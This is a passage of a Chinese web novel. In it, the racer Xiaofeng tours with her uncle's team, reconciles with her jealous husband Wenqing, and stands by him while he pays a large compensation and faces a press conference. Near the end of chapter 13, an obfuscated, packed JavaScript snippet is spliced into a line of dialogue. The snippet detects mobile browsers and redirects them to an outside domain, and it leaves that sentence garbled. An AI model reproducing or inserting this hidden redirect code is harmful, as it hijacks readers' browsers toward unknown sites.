童言无忌,谁也不会在意,可是文清急了,“嗯,没有我,你就找周洋去吧。” 这话听着怎么那么别扭,他自己也觉得有歧义,但也不想解释,刺激下晓枫也好,就转身准备走。 四叔站起来,“你抽什么风?” “我很忙”文清丢下这句话就走了。 晓枫不住安慰立欧,夏令营的事情,再跟爸爸商量下,让他一定不要担心。 然后又转身安慰四叔,“四叔,没事。”~~“大家吃饭,吃饭”。 晚点孩子们都睡了,晓枫睡不着,到客厅喝牛奶,经过二楼的时候,看到四叔的房门关着,但是里面亮着灯。 她敲开四叔的房门,“四叔,能聊聊吗?” 四叔穿戴整齐从二楼下来,晓枫正好喝完牛奶,问四叔要不要喝点什么,“给我拿瓶啤酒。” 晓枫去冰箱拿了几瓶啤酒,230毫升,3.6度的那种。她给四叔开了一瓶,也给自己开了一瓶,四叔并没有阻止。 “你们发生什么事情了?从佛罗伦萨回来还挺好的,最近却搞的这么紧张的。” “我也不知道是哪里出了问题。”晓枫喝了一口啤酒,接着说,“四叔,文清是不是因为我的原因,需要一大笔赔偿金?” “不能说是你的原因,你是怎么知道这个事情的?” “文清告诉我的?” “他说什么了?” “我们从肃平回来要迁户口的时候,他说他的别墅卖了,为了买新房结婚,但是一直没有提这个事,我不是在意这些,我就问了他,他跟我大概说了下,金额可能是13.2亿,然后让我不要管,他可以解决。这段时间,他很反常,我想是不是因为这个事情让他压力太大了。” “这里面涉及的问题很复杂,你们回来之后,大家也在尝试补救,应该问题不大。” “四叔,商业上的事情,我不太懂。我想问问,我不是有周仕杰遗产30%的继承权吗?这大概是多少钱?” 四叔笑了,“一般上市企业市值的平均水平在500万亿。” “500万亿,30%,150万亿~~”晓枫叫出声,四叔连忙禁声。 “不是这样算。还得看周仕杰的股权占比。如果他有2成,那就是500万亿的20%,100万亿的30%,30亿。周仕杰的占比应该不止20%,会比这个数额大。所以,现在知道,为什么他们叫你小富婆了。” “那文清的事情很好解决,我去告诉他,让他不用担心。我的天,这钱是天地银行吗?” 四叔笑他童言无忌,然后转了严肃脸“晓枫,四叔建议你,这个事情你不要插手。一是跟商业有关,情况复杂。二是跟男人有关,尊严要紧。” “可是事情不解决,我的日子也不好过。” “但是你确定,是这个原因引起的吗?” 四叔一语惊醒梦中人,是啊,还不知道是什么原因呢。 晓枫刚才那一声尖叫,确实吵醒了文清,他醒了,发现晓枫不在床边,开门准备下楼的时候,看到晓枫和四叔在客厅聊天,无名火起。 第二天早餐的时候,四叔跟晓枫提起让她随车队去参加巡回赛,一个厂牌下能有两只车队的话,对战术安排和积分获取都有益处。 晓枫说,“四叔,我得考虑下,孩子们都在过暑假,我要陪他们。” “卢卡斯和奥斯卡,集训结束之后,有一个月假期,是不是,可以去滑雪。二哥,你带他们去陈程家的雪场,一学一玩,一个月时间都不够。” 卢卡斯和奥斯卡开心得不行,已经开始感谢二叔四叔,和计划买装备了。 “立欧的夏令营,让周洋带去,过完生日再回来,周骁他们不会反对。乔治和嘟嘟,晚上回来,让爷爷奶奶带着就行了。这次的巡回赛,时间并不长,一去一回,三周时间吧,别老呆在家里看孩子。” 姜文清立马起身,“昨天晚上,你们是不是都商量好了?” 然后离席,姜恒追了过去。 四叔眉毛都气歪了,“是不是不识好歹,是不是他说没有时间的?” 晓枫连忙解释,“文清不是那个意思,他可能也想陪孩子的,但是工作忙,我们需要重新计划一下。四叔,对不起!文清他不是那个意思。” “晓枫,他觉得用5个孩子绑着你,让你当家庭主妇,才好拿捏你。” “不会,文清不会是那个意思。” “他就是觉得你好欺负。” 姜婉也看不下去了,“够了,你别说了。”她横了一眼四叔这个添油加醋的,又俯身跟晓枫说了句:“妈妈去教训他。”然后也找文清去了。 姜文清进了书房,坐在沙发上,大口大口喘着气,整整齐齐的领带也被扯得随意散开着。姜恒坐在一边并没有说话,只坐着。姜婉进来的时候,也没有说话,只坐着。 文清整理了思绪,“我想我可能需要去做个体检。” “怎么了?”姜婉对孩子的身体健康是很在意的,她第一时间想到了文枫。 “我现在知道文枫打晓枫那时候的感受,我也觉得好难控制自己,不知道会不会,我也有那个病。” “文清,你是看着晓枫和四叔难受?” “嗯,实在忍得难受,心里好疼,是真的疼。” “胡闹!”姜恒立马喝住。 “你们上次给晓枫拿回来的东西,出马仙说,是从东南亚请回来的。” “是的,她爸爸说是泰国。” “对啊,是个狐仙。” “狐仙?” “嗯,所以她才周旋与这么多男人之间。” 姜婉真是气笑了,“文清亏你读这么多书,这一个多月,就为这个狐仙?” 文清有点疑惑,“不是吗?那就说明,晓枫是个狐狸精。” “你糊涂,晓枫还是那个晓枫。她和你四叔,原来就一起骑车,一起训练,关系一直很和睦啊。如果她是狐狸精,妈妈就不会让她进门。我们喜欢她是因为她很善良,很单纯,不争也不抢,性格温和,是个好孩子。不管有没有出马仙这个事,她都一样。你好好想想吧。” 13.这是我们俩的决定 2022年7月22日 根本没有谁给文清思考的时间,一切都按照四叔的计划开始执行了,晓枫已经提上行李跟着四叔出发了,家里瞬间冷冷清清。 巡回赛的第一站,他们提前了两天抵达,便每天在场地进行简单训练,投入训练的晓枫倒也没有什么异常,只是时常在心里怀疑,自己30岁了,还能是那些年轻运动员的对手吗? 饶晓枫虽然不常参赛,但是对于把她当对手的其他车队,观看她的比赛录像也是正常的。 所以她搏命似的开车风格也流传开来。对手在比赛中,都刻意远离她,并不愿意和她硬碰硬。 其实此时饶晓枫已经通过训练驾驶姿势,起步技巧,换挡技巧,刹车技巧来精进技术。 所以前两站,对于她的防守,都是失败的,她取得了两站两个冠军的成绩,为车队的积分贡献巨大。 2022年8月3日 十多天时间过去了,他们来到了第三站,文清也打听到他们的位置,前后脚到了。 第三站,晓枫拿了个第二名,比赛中很好贯彻了教练的作战方针,只是比赛中情况瞬息万变,她还是缺乏经验。 赛后有一天时间得以修整,所以晓枫和队员一起去喝酒吃饭庆祝。 回到酒店确是另一番景象,晓枫烂醉如泥,吐得衣服上裤子上哪哪都是,一个女队员替她换了衣服,就安排队医来查看,队医说可能就是醉酒,让她好好休息,问题不大。 四叔质问,“搞什么?这是喝了多少?” “没有喝多少,队长。”队员连忙解释。 “也是我的错,刚才出去的时候,我看到一个男人,我就提了一嘴,''那个男人好像姜总。''晓枫姐就追过去,再回来也没说什么,到了地方就喝酒吃饭,没有什么异常。谁知道喝了没两口酒,她就开始哭,开始吐。” “是啊,我们都吓坏了,就回来了。真的没有喝多少,我们都还没有开始。” 四叔给了他们几百块钱,“去吃点东西吧,辛苦你们了,别再喝酒了。” 四叔给文清去了个电话,“文清,我们现在在W市,晓枫有点不好。” “你在哪个房间?” “8609,晓枫她~” 电话被挂断,四叔心想,话没说完,你就挂电话。 不到一分钟,姜文清就出现在了四叔房间门前,“四叔,对不起。我来晚了。晓枫在哪个房间?” 四叔指着对面,然后用一张通用房卡,刷开了门,晓枫睡在床边,就是床边,好像随时会掉下床。 文清冲过去,摸摸她的头,晓枫感应到了,睁开眼睛看了一眼,抓着文清的手,“我想回家,老公,我想回家。”已是泣不成声。 四叔退出了房间,给大哥打去电话. “文清到你那里了?”姜恒率先发问. “是啊,怎么个事?” “他去追老婆回来,怼妻一时爽,追妻火葬场。” “那我的比赛还要不要继续?” “你也别轻易放过他,嗯,你自己拿主意吧。” 大哥这是多么明显的暗示。 阿弥陀佛,佛祖说,不要介入别人的因果,否则只会自食其果。 四叔真是气不打一出来,敲开房门,看到文清正在喂晓枫喝水,“她对酒精过敏,我带了药,吃了先观察下。” “酒精过敏?” “嗯。” “我跟她喝过酒的,没事啊。” “那是啤酒,今天喝的不是啤酒吧?酒精浓度高了就会引起过敏,李教授说的。” “知道了,谢谢你!你回房间睡觉吧,这里我来。” 文清停下了他的动作,每个中文字好像都听得懂,连在一起是什么意思呢? 四叔也觉得话有歧义,解释说,“谢谢你照顾她,然后请你出去,不要骚扰我的队员,我们有队医。” “四叔,我的四叔,你什么意思?”文清心想着走向四叔,他打算用撒娇的方式改变四叔的想法,结果走到四叔身边就被四叔猝不及防掀到房间门外,几个踉跄被推到四叔房间,“你今晚有两个选择,睡在我的房间,或者你自己的房间。” “有没有选项C?” “没有!” “四叔,晓枫的过敏很严重的,需要随时观察。” “谢谢你告诉我,我们有队医,我会交待给队医的。” “别人照顾她,我不放心。” “你照顾她,我不放心。我们还有两站比赛,别让她前功尽弃。前三站,她两个第一,一个第二。” “嗯,我懂了。她很棒!我陪着她就好。” 姜文清在四叔的房间瞪了他大半个晚上,后半夜才回自己房间睡觉。 好在第二天早晨晓枫就恢复了。 四叔敲开她的房门,她刚换好衣服,准备去吃早餐。 “四叔,昨天我是喝醉了吧?” “嗯,小昕她们送你回来的。” “嗯,我一会去谢谢她们。今天有什么安排?” “没有,晚点出发去下一站。” “好,昨天~~”四叔知道她想问什么,“他在8816房间。” 晓枫眼睛瞬间有了神采,“谢谢四叔!” 直接从消防楼梯上楼去了. 不是去吃早餐,真是多余。 在8816房间门口,晓枫整理了下思路,整理了下头发,刚才洗完澡头发还没有完全吹干,一会让爱人看到,又要说她不会照顾自己,想着都甜,心里不自觉就笑出声。姜文清正好打开房门,看到站在门口傻笑的晓枫,一把把住她的腰身搂进了房间,关上房门。 你中有我,我中有你。 下午两点多,文清接到了四叔的电话,“吃过饭没有?” “吃过了,吃得很饱。” “四点半出发,让晓枫收拾一下。” “我下去给她收拾行李吧,她还没醒。” “文清,你是我的叔,我不想知道。”四叔心里想着,以后离这两个人越远越好。 第四站在X市,四叔厂牌因为车队不俗的成绩,被各路对手特别关照,晓枫在比赛中拿到了第三名。 她有点懊恼,他也是,但是当她走下场的时候,文清还是给了她一个大大的拥抱,一个深深的吻,这一幕被某记者拍了下来。 最后一站在T市,完成之后就可以回家了,因为第四站的失误,晓枫已经拿不到冠军所需的25分,但本站保二争一,积分也能保三争二,就是最圆满的结局。 “好好享受这场比赛,只因为你对赛车的热爱。记得吗?上次帮二叔送文件,四叔说,神仙来了都赶不及。但是,我的老婆完成了。我不在乎你拿第几名,输了你想哭我陪你哭,赢了你想笑我陪你笑。我爱你,晓枫!”爱人情意绵绵的鼓励,总能成为拯救晓枫的强大的精神力量。 这一站,她用一个完美的压弯,取得了站次第一名,积分第二名。 赛后在车队的集中区域,文清抱着这个傻妞又是旋转又是举高高,爱不释手,又被某人拍了下来。 2022年8月11日 回家之后,最开心的就是四叔,下个赛季,厂牌的赞助解决了,还吸引到甄康的车队加入,“有晓枫加入,果然不同凡响。” “谢谢四叔的指导!” “下个赛季,你是继续做选手参赛,还是做教练参训?” “教练,我可以吗?” “我对你有信心。” “我想问问文清的意见。”说完又羞怯得看了文清一眼。 2022年8月14日 星期天,文清和晓枫带着乔治和嘟嘟去接立欧,正好约着小七一起吃饭。 一岁多的乔治和嘟嘟,都会喊爸爸妈妈了。 小嘟嘟俨然成了文清身上的挂件,只要不坐车,就是爸爸抱在手里,任谁也接不过手。此时文清抱着嘟嘟在逛商场,想给她买衣服。 小七跟乔治讲小猪佩奇的故事… 周洋带着立欧走进包房,晓枫见到立欧,马上拥抱上去,“妈妈好想你!” “妈妈,我也想你。爸爸呢?” “爸爸带妹妹买衣服去了,很快会回来的。” “嗯,周洋爸爸说妈妈比赛拿了好多第一名,是不是?” “三个第一,一个第二,一个第三,总成绩第二。” “妈妈,你好棒!我可不可以也学这个。” 周洋接过话,“可以啊,等你成年爸爸陪你考驾照,陪你去买车。” “太棒了!谢谢爸爸!”立欧开心不已。 晓枫却翻出了18岁那个生日的点点滴滴,一晃12年,物是人非。 文清带着嘟嘟回来之后,七个人用完午餐,最高兴的当属立欧,处于语言爆发期的他,滔滔不绝,从迪士尼讲到环球影城,又讲到华侨城,过生日爷爷奶奶周洋爸爸陪他玩的几个游乐场,他都细数了一遍,吃过午饭,也累了,也困了,就在包房的沙发上睡着了。 乔治和嘟嘟也在推车里面睡着了,文清去车上给孩子们拿来了毯子,怕他们在空调房里睡觉着凉了。 四个大人,还在聊着天。 周洋终于鼓足勇气,提出了他的想法,“晓枫,爸爸妈妈想把立欧接回去。让我问问你的意见。” 文清有点担心这个问题会刺激到晓枫,他想让周洋晚点再提这个事情,容他们商量下。 结果晓枫直接回话了,“我先说结论,我不同意。如果叔叔阿姨当年觉得我不够资格进周家的门,现在为什么要我的孩子?周洋哥,如果叔叔阿姨不了解我,我不怪他们,但是你应该了解我,我是一个很难搞的女人吗?由始至终,你都觉得时机不对,条件不好,不肯跟我结婚,现在时机成熟吗?你还是当年的你,养孩子可比养我费钱。娶老婆哪天不开心还可以离婚,养孩子玩腻了没办法塞回去的。所以,我不会同意。” 说着她握上文清的手,补充到,“这是我们俩的决定。” 周洋怯怯得离开了。 见周洋离开,小七轻轻鼓起掌,“姜文清,老实交代,你把我的饶晓枫藏哪里去了?这还是我认识的晓枫吗?” “小七,别开玩笑。我真的好生气。” 等孩子们午觉起来,三大三小继续逛街,嘟嘟仍然是那个最受宠的挂件,“到推车里面来,你让爸爸休息一下。” “嘟嘟要爸爸抱,爸爸香。”小女孩语言能力确实是超强。 这天晚上,四叔给文清看了很多,晓枫在车队训练的视频。体能训练中的晓枫不搞特殊,其他队员做多少她做多少,跟不上就结束之后补。 有时候跑步一结束,她立马跪倒在地上,被教练强行拉起来走路放松,那痛苦面具看着文清心疼不已,他不敢多看。 “四叔,我懂你的意思。” “这是视频监控,只有室内场馆有,能拍到的只是我们日常训练的一小部分,室外的训练,跑步、骑自行车、车辆驾驶技术训练、操控训练,都没有监控,拍不到,她很认真,很刻苦。她有天赋,也努力,在她这个年纪取得这样的成绩是很不容易的。而且她的身体是经历过那么大一场手术的,难以想象她付出的努力。” “我应该让她自己选,不,我应该支持她去做选手或者教练。让她自己选,她肯定以家里的事和孩子们的事情为主,又放弃自己的爱好。我懂了,四叔,谢谢你!” 晚了,文清还在看视频,晓枫闻声找了过来,“你在看什么?” 趁晓枫没有走近,文清关了视频,“看一个女人的小电影。” 晓枫笑笑,“姜总还有这个爱好。” 然后坐在姜文清的腿上。“我的特殊癖好可多了,想不想一起玩。” “不跟你玩,我看你在看什么。”她点开播放器,找浏览历史记录~~ “这哪里来的?” “四叔给我的。” “你看这些干什么?丑死了。” “哪里丑。” “每天都练得大汗淋漓,表情狰狞,每一帧都丑。” “我就觉得很好看,特别是你在训练的时候,突然把上衣脱掉丢一边的动作,好A又好性感。” “你就是想看我脱衣服。” “你怎么知道?”说完就伸手去脱晓枫的上衣,被晓枫制止了。 “别闹,其实有时候训练真的好累,好想放弃,想着已经有人养了,那么累干什么?” “那是怎么坚持下来的?” “咬牙坚持啊。” “什么困难都可以咬牙坚持吗?” “不是,想你,就没法咬牙挺过去。只能见到你,触摸到你,才行。”说着,伸手去解文清的睡衣纽扣,把手伸了进去,触摸到文清结实的胸肌,把头靠近锁骨,“就像现在这样,才感觉到安心。”文清抱起她回了房间。 孩子们开学之后,晓枫有一阵闲了下来,经常找小七逛街,“我老觉得有人跟着我们。” “别太敏感。” “我知道,四叔跟我说过,各个媒体渠道,他们都会有联系,一般不会报道太私人生活的东西。” “那你担心什么?” “不知道,感觉怪怪的。” 2023年1月1日 这天,全家齐聚,大家在商议一个发布会的流程,主要就是向股东和股民说明,与BeanS的合作项目的延迟交付情况,后续补偿措施,以及最终补偿方案。晓枫只关注到了最让她挂心的部分—赔偿金额,12.8亿。 她心疼文清,她很想知道,他是怎么熬过这几年的,他要怎么去做这个赔偿。 陪她和文枫去美国治病待产,离开了1年; 为了去肃平陪她,离开了2年,这期间很多项目没有及时完工和完成三方监理交付。 回来之后,经过2年多时间,在三方戴先生的运作争取下,努力挽回了一些。但是从文清的脸上看不到任何波澜,他依然淡定从容,一切都能掌握的状态。 “小傻瓜,事情已经解决了。别墅卖了;车卖了,留一辆我们一家能一起出行就行了;基金赎回了;卖出了债权、理财产品、还有一些土地使用权……懂不懂?” “那以后怎么办?” “我还有你啊,小富婆。” “那我用周爷爷的遗产,应该能解决。四叔告诉我,按照平均市值算,我那30%值30亿,你不需要把什么都卖了。如果周叔叔和周洋把企业经营的更好,还不止30亿,是不是这个意思?” “不盼着点自己老公好。” “商业上的事情,我不懂,可能说不明白。” “不用说,晓枫。商业上很多规则,有些底线,我们不能碰。我不能用你的那份来解决我们现在的商业危机。” “我还有钱,我也可以把房子卖了,还有爸爸妈妈给我的银行卡,一直没有动过。” “还没有查过吗?” “没有,怎么了?” “查查看。” 晓枫拿来手机和银行卡,在手机上进行查询,账户余额,“个十百千万十万百万千万”晓枫又叫起来,“为什么这么多?” “你和文枫开始恋爱的时候,就在给你打生活费。文枫确诊之后,有公证文件,卢卡斯和奥斯卡的生活费要支付到25岁,你的生活费一直要支付,不管你是单身还是再嫁人,都一样。” 晓枫抱着文清痛哭,她没有想过文枫为她安排了这么多,“你们的生活费,一个人一个月2万,一年就是72万,快8年了,光生活费就有500多万。还有过年过节,你的生日,孩子们的生日都会给你打款,一直都是我在操作。还有爸爸妈妈给的改口红包,虽然礼盒里面是红包,但是里面没钱,钱也直接打卡上。他们一个人50万。” “那现在,我都已经和你结婚了,为什么还要给生活费。” “你是我的老婆,当然要给生活费,算上文枫的那份,现在每个月打得更多。” “我,我~~~” “别说了,乖。” 待晓枫稍微平静点,文清去保险箱取来了文枫的公证文件,给晓枫看。 “所以你知道,为什么他不跟你领证结婚了吗?不是不爱,是太爱。” 晓枫低头流着眼泪,不是想到文枫在心疼,而是觉得自己被人这么爱着,太感动,太幸福。 “我曾经说过,我没有文枫懂得爱,他为你做的这一切都很用心,很自然。” “他做这么多,为什么都不告诉我。” “有什么区别呢?他只担心他走了以后,你再嫁人,没有娘家人,被人欺负。” 晓枫哭着捶着文清,“你什么事都不告诉我,瞒着我这么久。” 文清钳住她温柔的小拳头,“早点告诉你,你带着钱和孩子嫁给别人,我亏大了。现在要跟我一起过穷日子,后悔来不及了。” “我养你!”眼泪来不及擦,晓枫又想笑,“如果周爷爷的钱不能用,我还有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15037577|162346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 立欧的抚养费,是不是可以用?” “别想了,现在你的一点私房钱,我都知道了,有需要我找你拿。” “一言为定。” “嗯,以吻誓言。”晓枫总是这么好说服。 发布会定在1月20日,结束之后休市,可以给市场一点反应的时间。 2023年1月20日 尊敬的各位合作伙伴、员工以及相关利益方:我是姜文清,作为BeanS合作工程的股东之一,我怀着无比愧疚的心情向大家致以最诚挚的歉意。由于我个人的原因,2014年10月到2015年10月一年时间,2018年2月到2020年2月两年时间,这期间未能履行监管义务,直接导致了本工程的延误。这一延误不仅给我们的项目带来了额外的成本开销,还影响到了与我们合作的各方的利益和计划,包括我们的合作伙伴可能面临着客户的不满,员工们也承受了额外的工作压力和不确定性,对此我深感自责。我深知工程延误所造成的损失是多方面且严重的,这是我的失误,我没有尽到作为股东应尽的责任。我要向每一位因为此次工程延误而受到影响的人郑重地说一声对不起。2020年2月至今的三年时间里,针对合作伙伴可能遭受的间接经济损失,我已经根据我们之间的合作协议以及实际损失情况进行协商赔偿。为了尽量挽回工程延误所造成的时间损失,我积极利用自己的资源和关系网络,协调各方关系,加快工程的后续进度。我还亲自参与到工程的监督和推进工作中,确保工程按照最紧凑合理的时间表进行,每周投入25小时以上的时间到工程相关事务中,直至工程顺利完成并交付。经详细的财务核算,此次工程延误所造成的经济赔偿预计为12.8亿元。我已从个人资产中拿出这笔款项,以现金的形式注入到工程的资金池中,确保工程后续资金充足及各方利益。我承诺,在今后的项目中,我将更加严格地要求自己,更加谨慎地处理股东事务,以避免类似的情况再次发生。我希望能够得到大家的谅解,让我们共同努力,把工程顺利完成并取得成功。 “姜先生,请说一说,你这几年时间干什么去了?” “时机合适,我会给大家一个交待。”~~这个新年过的不算轻松。 “周叔叔,新年快乐!” “晓枫,新年好!周洋说,你卖了房子?” “嗯,是的。” “周洋是想看看你有没有需要帮助的地方,他希望可以~” “我跟他说过,没问题的,不用担心。” “那如果是周叔叔问你,有没有需要帮助的地方?” “文清说,开盘以后,如果股价低走,就会回购,稳定股民的信心,需要现金。我说用爷爷的遗产,他不同意。” “嗯,他是对的,你们是夫妻关系,这样可能涉及内幕交易,会被监管。” “嗯,他也是这样说的,所以,我把房子和其他的钱交给他了,一起不到2亿,希望能支持帮他度过难关。” “时间紧,你的房子卖得价格不好。” “是的,但是这没有关系。谢谢周叔叔的关心,我相信文清,他很厉害!” “嗯,希望你们可以顺利度过这一关。” 周勇是个感性的人,他一直把这个恋爱大过天的傻妞当自己的丫头看,这种时候他不能袖手旁观,那就用合理的利息借10亿给姜文清,表达支持。 春节期间董事会,通过决议并披露了回购股份方案,包括回购目的、方式、价格区间、数量、资金来源等信息。假期过后的第一个交易日,股价低开低走,一切都在按计划进行着… 文清很忙,晓枫能做的除了完成自己的训练,就是照顾好孩子。 在他通宵坐在办公桌前的时候,给他热一杯牛奶… 在他趴在办公桌前小憩的时候,给他捏捏肩膀… “晓枫,我想跟你商量一个事情。” 孩子们都睡了,文清到房间来找晓枫,“那我们去书房聊。” 他们一起走出了房间,文清拿了一件外套给晓枫披上,虽然开着暖气,他总担心她着凉。 “看你一直忙,我好想可以帮帮你。” “你已经帮我很多了,家里打理得井井有条,孩子们照顾得很好,回家还能吃到你做的可口的饭菜,你做得很好,我才能安心忙工作上的事情。辛苦你了。” “这本来就是我应该做的。” “老婆,家是我们两个人的家,做家务,带孩子,做饭洗衣都是我们两个人的事情,你把我的一半都做了,所以你比较辛苦。” “工作的事情,我帮不了你,我看到你那么辛苦,我心疼。” “嗯,收到。现在,你可以帮我,我想知道,你的决心有多大。” “我愿意去做,只要能帮到你。” “嗯,听我说。~~~~~~,你敢不敢?” “我可能需要时间考虑一下。” 晓枫一夜没睡,在床上反复烙饼。她想过找小七,想过找周叔叔,甚至想过找周洋,最后她决定找妈妈,因为妈妈曾问过她,怕不怕? “这段时间,家里的事都围绕那几个男人,我们娘俩都没有好好聊聊。” “妈妈,上次杂志的事情,记得吗?” “事情已经过去了。我们和媒体都有长期合作的协议,主流媒体不会报道这些八卦。” “如果报道呢?” “大家有不成文的规矩,不需要说明,大家都懂什么媒体的文章值得信赖,什么媒体只是博流量。” “像二叔说的,还是会有人选择相信?” “当然,我们不能操弄人心。所以最重要的还是保持自身的正面形象,和媒体主动提供真实消息。” “文清跟我说了。” “他跟你说了吗?” “是啊,我说我需要时间考虑。” “我们跟他提出来的时候,他是反对的,怕你压力太大。” “怕我压力大?他是公众人物,我是担心他每天要面对媒体,压力大。” “你们俩,他为你着想,你替他担心。”姜婉真是心疼这两个单纯的孩子, “晓枫,从你第一天进这个家门,十几年了,日久见人心,爸爸妈妈都知道你是怎样的人,不管文章怎么写,这变不了。” “我不怕别人怎么看我,日子是过给自己的。我是担心文清会面对很多猜疑。” “我们是很开放的思想,企业不是不能交给外人,但是现在家里有一个最合适的人选,文清将来是会继承这一切的。虽然日久见人心,但是初期的印象一定得是真诚的,可靠的,如果他有这么多会让人捕风捉影的传闻,会影响形象。” “所以,还是我的原因。如果像周洋哥那样,接受父母的安排,将来娶一个门当户对的女孩子,就不会有这么多困扰。” “晓枫,你千万别这样想。你也是妈妈,你想想5个孩子,你是愿意他们将来飞黄腾达,每天却和不爱的人在一起好?还是每天和自己的爱人在一起,幸福开心,哪怕粗茶淡饭?” 晓枫一愣,“妈妈,我懂了。” “嗯,晓枫,从第一次见到你起,爸爸妈妈就很喜欢你,文枫他福薄,那时候,我和爸爸想的是,如果你再嫁人,我们就是你的娘家人,不会让任何人欺负你。现在,好上加好,我看着你和文清感情这么好,我是觉得有什么困难都不可怕,一家人和和美美最重要。” 妈妈挽着晓枫,回到了聊天的男人堆里,把她的手交给文清,“你的老婆交给你。” 文清握着晓枫的手,“怎么了?” 起身就把晓枫招呼到了一边,“你和妈妈聊什么了?” “我不知道怎么说。” “想说什么说什么,你来说,我来整理,我能懂的。”晓枫笑笑。 “你觉得怎么样?”姜恒问姜婉 “没有问题。”姜婉略带骄傲 “小妹出马,一个顶俩。”四叔调笑到 “你们任何人都能说服她,因为晓枫一切以文清为主,然后是孩子,最后才是她自己。” 众人沉默。 “你来说,你怎么说,我怎么做。” “嗯。” “很多事情,我不懂,但是,你不怕,我也不怕。” “嗯。”文清抱着晓枫,温柔得拍拍她的背。 如何消得此良辰! 提前把记者会的消息放出去,把几个关键问题交给了相熟的记者,一切有条不紊得进行着。 14.现在就是最好的结局 2023年3月23日 一场大型发布会正在举行。被邀请的有170多名记者。 包括主流媒体记者、行业内的权威媒体记者、知名的自媒体人、网红等。 宴会厅宽敞而宏大,布置简洁而庄重,记者区的座位密密麻麻,一排排的椅子整齐排列,中间留出过道以便记者进出。 在记者区旁边还有一些为摄影记者和摄像记者预留的空间,他们可以在这里架设设备,以便捕捉最佳的画面。 众多的记者聚集在现场,他们来自不同的机构,有的扛着摄像机,戴着耳机,随时准备录制;有的拿着笔记本和笔,眼神专注,随时准备记录;有的手中拿着智能手机或者平板电脑,准备进行网络直播。 姜恒姜婉周骁周洋已在台上坐定,姜文清最后一个上台,他衣着得体,表情庄重而自信。 走上台时,步伐沉稳,气场强大,场下瞬间安静了。 大家好,我是姜文清,很感谢各位莅临现场!也很抱歉占用公共资源,来发布我的个人信息。两个月前的发布会,我说过,如果时间合适,我会和大家分享“失踪”期间,所做的事情,平息传言,希望各位对我们的企业保持关注,保持信心! ~~~~~~ 通稿念完,姜文清离开话筒,长舒一口气,刹那,他坐正身体,接下来的提问环节将是体力与脑力的双重考验。“现在开始提问环节。” 台下安静了。 “请问,姜文清先生。你们在姜家湾助养的女孩子,现在还有继续吗?” “是的,当时助养的7个女孩子,年龄从8岁到12岁,现在是13岁到17岁,从初中到高中,我们赞助他们的学习费和必要的生活费,每个月都有汇款记录。如果她们有继续深造的能力,我们也会继续支持。” “请问,姜文清先生。你们在姜家湾捐建的教学楼和操场,是你们企业承揽的工程吗?” “并不是,姜家湾捐建的教学楼和操场,签订合同和前期跟进的是饶晓枫女士,工程款150万是全款一次性支付给了肃平市第一建设局。我到了之后,才对合同内容,工程进度进行管理,后续所产生的费用,均是我私人出资,跟企业没有任何关系。” “请问,姜文清先生。您所述这些都有证可查吗?” “当然,合同,发票,工程竣工验收,以及姜家湾组长的证明材料都有,欢迎大家查验和监督。” “请问,周洋先生。姜文清先生所述在姜家湾的公益捐赠,您都了解吗?” “工程初期,我是不知情的。我知道这个事情的时间是2022年10月,当时所有工程都已经完工。” “那您对这些项目,使用您的名字作为捐赠人提出过异议没有?” “饶晓枫女士解释过,最初的150万费用是从我们的分手费中支出,所以用了我的名字。当然,用我的名字,我就会对教学楼,操场和其他项目的后续维修管理负上责任。所以,我没有异议。” “请问,周洋先生。姜文清先生后面补贴的费用,两位是否进行过交收?” “没有。姜文清先生除了是一个成功的企业家,也是一位慈善家,他乐衷公益,这点值得我们所有人学习。” “请问,这两张照片里面的人,是你和饶晓枫女士吗?” 一直在最前排举着摄像机的小记者突然上台,丢出了两张照片。 姜文清一看,就发现是他和晓枫在X市和在T市,赛后庆祝的时候被拍下。这个意外引起了一阵骚乱,姜文清还在思考的时候,这个小记者不知道从哪里又掏出一本杂志,“这个女人凭一己之力,硬控两大家族三个男人”,杂志的封面也通过投影立马呈现在了大屏幕上。 姜文清坐在台上,脸色煞白,他在思考,姜恒上前暂停了记者会,“很抱歉,我们需要休息一下,十五分钟后我们继续。” 然后由姜恒护着他们离开了。没有人敢跟姜文清说话,他拿着电话,应该是给晓枫在打电话。 姜恒通过后台,看到众记者都在传阅那本杂志和照片,记者的敏锐让他们知道,下半场才是重头戏。 “周洋,你什么意见?” “你问过晓枫没有?她怎么说。” “她听我的。” “嗯,我相信你,你拿主意吧。”周骁想打断周洋,周洋用眼神阻止了他,也许这是他第一次违逆自己的父亲。 “爸爸妈妈,我想公布实情。” “你怕不怕?” “怕!但是说出来,以后不需要遮遮掩掩。” “做个有担当的男人!”后台,爸爸的手捏在姜文清的肩膀上。那轻柔而又坚定的力量,像是在无声地告诉他:“别怕,家人都支持你。” 这股力量随着他手指的节奏,如同一阵温暖的春风,吹走了姜文清心中的不安,让他感受到了无尽的信任和力量。 再次上台时,姜文清清了清嗓子,“很抱歉,耽误大家的时间,记者会的时间可能会延长,给大家造成困扰,还请谅解。接下来,还是我先公布,各位记者朋友们,稍后提问。谢谢!” ~~~~~~ 姜文清回顾了这一路的点点滴滴 2010年11月周洋和饶晓枫恋爱 2012年6月周洋和饶晓枫分手,分手费200万 2012年7月姜文枫和饶晓枫恋爱 2014年10月姜文枫确诊,饶晓枫怀孕 2015年2月27日姜文枫病逝 2015年3月24日饶晓枫生下姜悦寻、姜悦觅 2015年9月周洋和饶晓枫回国恋爱 2017年1月饶晓枫去肃平 2017年8月4日饶晓枫生下姜立欧 2018年2月姜文清启程肃平 2020年2月姜文清和饶晓枫回宁海结婚 2020年12月饶晓枫怀孕 2021年6月6日饶晓枫生下姜书宁、姜书夏,并因羊水栓塞昏迷 桩桩件件,他或见证,他或参与,说到动情的地方,他也忍不住,泪洒当场。真诚果然最具杀伤力,面对这样一个男人,没有记者想再为难他。 “最后,我想说明的是,这是我第一次,也是最后一次回应有关我太太,孩子们的事情,我不希望他们被打扰,这是我作为丈夫和父亲必须为他们做的事情。以后请大家关注我们的企业,我们的公益,继续对我们保持信心。接下来,进入提问环节。” 